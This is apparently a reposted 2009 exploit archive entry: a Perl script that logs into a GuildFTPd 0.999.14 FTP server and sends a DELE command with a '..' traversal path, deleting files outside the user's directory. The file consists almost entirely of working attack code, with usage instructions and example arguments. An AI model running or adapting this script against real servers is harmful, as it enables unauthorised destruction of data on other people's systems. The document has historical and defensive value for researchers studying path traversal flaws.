Home / os / win10

guildftpd-delete.txt

Posted on 23 January 2009

#!/usr/bin/perl # Exploit: GuildFTPd FTP Server Version 0.999.14 Remote Delete Files # download module: http://www.infos-du-net.com/telecharger/GuildFTPD,0301-3342.html # # The vulnerability is located in the syntax "..", it can delete a file int he subdirectory # Syntax in a console => DEL .. est.txt # # Author: Jonathan Salwan # Mail: js.rac.projet [AT] gmail.com # Web: http://racprojet.zapto.org use IO::Socket; print "[+] Author : Jonathan Salwan "; print "[+] Soft: Guild FTP Server V0.999.14 "; print "[+] Exploit: Remote Delete File "; if (@ARGV < 5) { print "[*] Usage: <guildftp.pl> <host> <port> <login> <password> <file> "; print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan salwan ..\\test.txt "; exit; } $ip = $ARGV[0]; $port = $ARGV[1]; $user = $ARGV[2]; $pass = $ARGV[3]; $file = $ARGV[4]; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die " [-] Connecting: Failed! "; print " [+] Connecting: Ok! "; print "[+] Sending request... "; print $socket "USER $user "; print $socket "PASS $pass "; print $socket "DELE $file "; sleep(5); close($socket); print "[+] Terminate || By Jonathan Salwan ";

 

TOP